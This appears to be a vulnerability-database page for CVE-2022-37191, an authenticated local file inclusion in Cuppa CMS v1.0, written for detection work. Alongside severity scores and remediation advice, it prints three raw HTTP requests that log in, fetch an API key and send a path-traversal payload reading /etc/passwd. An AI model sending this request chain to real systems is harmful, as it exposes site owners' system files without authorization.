🔙 목록으로 돌아가기

CVE-2022-37191: Cuppa CMS v1.0 - Authenticated Local File Inclusion

TitleCuppa CMS v1.0 - Authenticated Local File Inclusion
Authortheamanrawat
SeverityMedium
ImpactSuccessful exploitation of this vulnerability can lead to unauthorized access to sensitive files, potential data leakage, and remote code execution.
RemediationApply the latest security patches or updates provided by the vendor to fix the authenticated local file inclusion vulnerability in Cuppa CMS v1.0.
CVSS Score6.5
EPSS Score0.46367
CVE IDCVE-2022-37191
CWE IDCWE-829
Tags cve cve2022 lfi cuppa authenticated cuppacms vuln

🔍 Vulnerability Description

The component “cuppa/api/index.php” of CuppaCMS v1.0 is Vulnerable to LFI. An authenticated user can read system files via crafted POST request using [function] parameter value as LFI payload.

🌐 HTTP Request

POST / HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0
Connection: close
Content-Length: 50
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

user=fXcpz0&password=mXpjhk&language=en&task=login
POST /components/table_manager/ HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.1.2 Safari/605.1.15
Connection: close
Content-Length: 51
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip

path=component%2Ftable_manager%2Fview%2Fcu_api_keys
POST /api/index.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.5 Safari/605.1.15
Connection: close
Content-Length: 112
Content-Type: application/x-www-form-urlencoded
key: 9dwibZ
Accept-Encoding: gzip

function=./../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../etc/passwd/

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-37191.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-37191.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A